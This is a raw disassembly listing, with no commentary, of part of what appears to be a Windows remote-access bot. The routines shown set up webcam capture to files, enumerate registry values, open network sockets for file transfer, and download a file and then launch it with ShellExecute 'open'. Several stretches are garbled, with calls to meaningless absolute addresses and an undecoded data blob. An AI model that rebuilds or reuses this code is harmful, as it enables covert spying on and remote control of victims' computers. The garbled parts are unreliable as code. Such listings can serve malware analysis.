[ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361FC, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361FC mov esi, offset dword_436208 mov edi, offset dword_437400 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373FC ; "=" push eax call sub_41C0F4 push offset asc_4373FC ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747C68h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22AA314h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744C68h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A9E89056h, 6A022AA2h, 0A1E89064h, 330224A2h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 0A24AE864h, 6A900224h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741868FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h ; --------------------------------------------------------------------------- sub al, [edx] loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_43757C jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437558 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_43747C jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 26E08DCh nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437538 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax call near ptr 2710C12h nop mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437520 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437508 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374E4 loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call near ptr 2740000h nop lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 26E0000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 26408DCh push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B8 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi call near ptr 26C0000h nop loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_4374A0 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26C0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2650A62h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 26E08DCh cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_43761C jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 26408DCh lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375EC jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375CC loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_4374A0 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26C0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_4375A0 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 26E08DCh cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E8 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi call near ptr 26C0000h nop loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 2670678h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 26D0000h cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377C0 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437798 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_43776C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j call near ptr 2670678h nop sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26408DCh push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437744 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_43770C push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376F0 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul 